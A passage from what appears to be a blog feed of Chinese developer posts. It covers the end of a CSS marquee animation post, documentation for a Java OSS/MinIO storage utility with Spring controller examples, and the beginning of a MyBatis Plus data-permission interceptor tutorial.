<span class="number">60%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">75%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">80%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@keyframes</span> marquee-content-y &#123;</span><br><span class="line">    <span class="number">0%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">20%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">25%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">40%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">50%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">60%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">75%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">80%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="number">100%</span> &#123;</span><br><span class="line">        <span class="attribute">transform</span>: <span class="built_in">translateY</span>(-<span class="number">100%</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">纯css实现横向滚动和纵向滚动</summary>
    
    
    
    <category term="前端" scheme="https://blog.allbs.cn/categories/%E5%89%8D%E7%AB%AF/"/>
    
    
    <category term="css" scheme="https://blog.allbs.cn/tags/css/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - oss工具</title>
    <link href="https://blog.allbs.cn/posts/25012/"/>
    <id>https://blog.allbs.cn/posts/25012/</id>
    <published>2022-11-04T07:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.7.4</td></tr><tr><td>spring-boot-autoconfigure</td><td>2.7.4</td></tr><tr><td>spring-boot-starter-web</td><td>2.7.4</td></tr><tr><td>aws-java-sdk-s3</td><td>1.12.332</td></tr><tr><td>jakarta.validation-api</td><td>3.0.2</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-oss<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-oss:2.0.0&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-oss:2.0.0&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="添加配置">添加配置</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">oss:</span></span><br><span class="line">  <span class="attr">endpoint:</span> <span class="string">http://xxx.xxx.xxx.xxx:9000</span></span><br><span class="line">  <span class="attr">region:</span> <span class="string">us-west-rack-2</span></span><br><span class="line">  <span class="comment"># minio账号或者</span></span><br><span class="line">  <span class="attr">access-key:</span> <span class="string">adadmin</span></span><br><span class="line">  <span class="comment"># 密码</span></span><br><span class="line">  <span class="attr">secret-key:</span> <span class="number">123456778</span></span><br><span class="line">  <span class="attr">bucket-name:</span> <span class="string">test</span></span><br></pre></td></tr></table></figure><h3 id="上传">上传</h3><h4 id="代码示例">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/upload&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">upload</span><span class="params">(<span class="meta">@RequestParam(&quot;file&quot;)</span> MultipartFile file, String folder)</span> &#123;</span><br><span class="line">    folder = Optional.ofNullable(folder).orElse(<span class="string">&quot;folder&quot;</span>);</span><br><span class="line">    <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> file.getOriginalFilename();</span><br><span class="line">    <span class="comment">// 文件夹不存在创建</span></span><br><span class="line">    Map&lt;String, Object&gt; resultMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">4</span>);</span><br><span class="line">    resultMap.put(<span class="string">&quot;fileName&quot;</span>, fileName);</span><br><span class="line">    resultMap.put(<span class="string">&quot;url&quot;</span>, String.format(<span class="string">&quot;/%s/%s&quot;</span>, folder, fileName));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        ossTemplate.createBucket(folder);</span><br><span class="line">        ossTemplate.putObject(folder, fileName, file.getInputStream());</span><br><span class="line">        <span class="comment">// el-upload 展示需要</span></span><br><span class="line">        resultMap.put(<span class="string">&quot;name&quot;</span>, file.getOriginalFilename());</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;上传失败&quot;</span>, e);</span><br><span class="line">        <span class="keyword">return</span> R.fail(e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> R.ok(resultMap);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/66bb58536c4c56ac2c6c7087dbf7ad22.png" alt="image-20221104152152404"></p><h4 id="效果">效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/ede25c893bc689532442d4a2e403b431.png" alt="image-20221104152336879"></p><h3 id="删除">删除</h3><h4 id="代码示例-2">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;通过文件名称删除文件管理&quot;, notes = &quot;通过文件名称删除文件管理&quot;)</span></span><br><span class="line"><span class="meta">@DeleteMapping(&quot;/deleteFile&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">removeById</span><span class="params">(<span class="meta">@RequestParam(&quot;name&quot;)</span> String name, <span class="meta">@RequestParam(&quot;folder&quot;)</span> String folder)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    folder = Optional.ofNullable(folder).orElse(<span class="string">&quot;folder&quot;</span>);</span><br><span class="line">    ossTemplate.removeObject(folder, name);</span><br><span class="line">    <span class="keyword">return</span> R.ok();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用-2">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/7d73ba0d319c25dae08f8a193a17e7f3.png" alt="image-20221104153047028"></p><h3 id="读取">读取</h3><h4 id="代码示例-3">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/&#123;bucket&#125;/&#123;fileName&#125;&quot;)</span></span><br><span class="line"><span class="meta">@ApiOperation(value = &quot;文件读取&quot;, notes = &quot;文件读取&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">file</span><span class="params">(<span class="meta">@PathVariable</span> String bucket, <span class="meta">@PathVariable</span> String fileName, HttpServletResponse response)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> (<span class="type">S3Object</span> <span class="variable">s3Object</span> <span class="operator">=</span> ossTemplate.getObject(bucket, fileName)) &#123;</span><br><span class="line">        response.setContentType(<span class="string">&quot;application/octet-stream; charset=UTF-8&quot;</span>);</span><br><span class="line">        IoUtil.copy(s3Object.getObjectContent(), response.getOutputStream());</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;文件读取异常: &#123;&#125;&quot;</span>, e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用-3">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/d8561042d493301a13ec1d34ffc93a12.png" alt="image-20221104163020822"></p><h3 id="获取文件url">获取文件url</h3><h4 id="代码示例-4">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/&#123;bucket&#125;/&#123;fileName&#125;&quot;)</span></span><br><span class="line"><span class="meta">@ApiOperation(value = &quot;文件读取&quot;, notes = &quot;文件读取&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">fileUrl</span><span class="params">(<span class="meta">@PathVariable</span> String bucket, <span class="meta">@PathVariable</span> String fileName)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getObjectURL(bucket, fileName));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用-4">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/55a58a1f7de0473eccb529cae309e6e3.png" alt="image-20221104163415288"></p><h3 id="获取文件url带过期时间">获取文件url带过期时间</h3><h4 id="代码示例-5">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/&#123;bucket&#125;/&#123;fileName&#125;&quot;)</span></span><br><span class="line"><span class="meta">@ApiOperation(value = &quot;文件读取&quot;, notes = &quot;文件读取&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">fileUrl</span><span class="params">(<span class="meta">@PathVariable</span> String bucket, <span class="meta">@PathVariable</span> String fileName)</span> &#123;</span><br><span class="line">    <span class="comment">// 文件十小时过期示例</span></span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getObjectURL(bucket, fileName, Duration.ofHours(<span class="number">10</span>)));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用-5">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/218d811d98630a80adcf9d2c1166ed57.png" alt="image-20221104163557607"></p><h3 id="文件批量上传">文件批量上传</h3><h4 id="代码示例-6">代码示例</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@ApiOperation(value = &quot;批量文件上传&quot;, notes = &quot;文件批量上传&quot;)</span></span><br><span class="line"><span class="meta">@PostMapping(value = &quot;/fileUpload&quot;, headers = &quot;content-type=multipart/form-data&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">save</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestParam(value = &quot;files&quot;)</span> MultipartFile[] files, <span class="meta">@RequestParam(&quot;folder&quot;)</span> String folder)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (files.length == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.fail(<span class="string">&quot;文件内容不能为空&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 获取文件夹名称</span></span><br><span class="line">        <span class="keyword">for</span> (MultipartFile file : files) &#123;</span><br><span class="line">            ossTemplate.putObject(folder, IdUtil.simpleUUID() + StrUtil.DOT + FileUtil.extName(file.getOriginalFilename()), file.getInputStream());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> R.fail(e.getLocalizedMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> R.ok();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="调用-6">调用</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/d2401df201a12ad5981a00a1d4867f70.png" alt="image-20221104164137648"></p><h4 id="效果-2">效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/8e922c266339c8541e674fcfe5f868e8.png" alt="image-20221104170510271"></p><h3 id="云服务商oss服务示例">云服务商oss服务示例</h3><h4 id="上传、下载、预览等代码同上方">上传、下载、预览等代码同上方</h4><h4 id="添加配置-2">添加配置</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/397d1f2207dcf632571396489b75f583.png" alt="image-20221104172637827"></p><h5 id="endpoint">endpoint</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/0c8c5e2f6d424fb651f1197909373982.png" alt="image-20221104172722083"></p><h5 id="access-key和secret-key">access-key和secret-key</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/040ddf6ec8a735bfc296564d439ba744.png" alt="image-20221104172841532"></p><h5 id="bucket-name">bucket-name</h5><p>可不设置，如果需要一个基础文件夹则设置这个属性</p><h4 id="效果-3">效果</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/11/220ac8ae5635a2453893c14ecb3f0204.png" alt="image-20221104173010493"></p><h3 id="源码地址">源码地址</h3><p><a href="https://github.com/chenqi92/allbs-oss">allbs-os源码</a></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - oss工具，支持minio、阿里云、华为云、腾讯云、京东云</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="oss" scheme="https://blog.allbs.cn/tags/oss/"/>
    
    <category term="S3" scheme="https://blog.allbs.cn/tags/S3/"/>
    
  </entry>
  
  <entry>
    <title>spring boot+mybatis plus进行sql拦截实现权限过滤，优化升级</title>
    <link href="https://blog.allbs.cn/posts/58292/"/>
    <id>https://blog.allbs.cn/posts/58292/</id>
    <published>2022-11-01T03:33:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<div class="note green icon-padding flat"><i class="note-icon fas fa-rocket"></i><p>📃 关联文档</p><p><a href="/posts/45308/" title="spring boot+mybatis plus进行sql拦截实现权限过滤">📄 前置文档</a></p></div><h2 id="定义数据权限注解">定义数据权限注解</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Target(&#123;METHOD, TYPE&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Documented</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> DataScope &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 当进行过滤时主表中代表企业id的字段</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String <span class="title function_">unitField</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;ent_id&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行数据过滤</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">filterData</span><span class="params">()</span> <span class="keyword">default</span> <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 忽略的表名，主要指不包含unitField的表</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    String[] ignoreTables() <span class="keyword">default</span> &#123;<span class="string">&quot;sys_file&quot;</span>&#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="定义一个对象用于储存注解中相关信息">定义一个对象用于储存注解中相关信息</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Set;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 DataScopeParam</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/20 17:37</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeParam</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业筛选字段名称</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> String unitField;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 企业数据范围</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> Set&lt;Long&gt; entIdList;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否进行拦截</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> filterField;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 忽略不过滤的表名</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; ignoreTables;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="权限解析器">权限解析器</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.hutool.core.convert.Convert;</span><br><span class="line"><span class="keyword">import</span> com.lyc.common.base.annotation.DataScope;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.BridgeMethodResolver;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.MethodClassKey;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.AnnotatedElementUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.core.annotation.AnnotationAttributes;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.ClassUtils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.AnnotatedElement;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Modifier;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashSet;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ConcurrentHashMap;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 PermissionClassResolver</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> * 权限解析器</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2022/10/31 16:16</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataScopeAnnotationClassResolver</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缓存方法对应的权限拦截</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;Object, DataScopeParam&gt; dsCache = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DataScopeAnnotationClassResolver</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 从缓存获取数据</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> method       方法</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> targetObject 目标对象</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> ds</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> DataScopeParam <span class="title function_">findKey</span><span class="params">(Method method, Object targetObject)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (method.getDeclaringClass() == Object.class) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">cacheKey</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MethodClassKey</span>(method, targetObject.getClass());</span><br><span class="line">        <span class="type">DataScopeParam</span> <span class="variable">dsp</span> <span class="operator">=</span> <span class="built_in">this</span>.dsCache.get(cacheKey);</span><br><span class="line">        <span class="keyword">if</span> (dsp == <span class="literal">null</span>) &#123;</span><br><span class="line">            dsp = computeDatasource(method, targetObject);</span><br><span class="line">            <span class="built_in">this</span>.dsCache.put(cacheKey, dsp);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> dsp;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 查找注解的顺序</span></span><br><span class="line"><span class="comment">     * 1. 当前方法</span></span><br><span class="line"><span class="comment">     * 2. 桥接方法</span></span><br><span class="line"><span class="comment">     * 3. 当前类开始一直找到Object</span></span><br><span class="line"><span 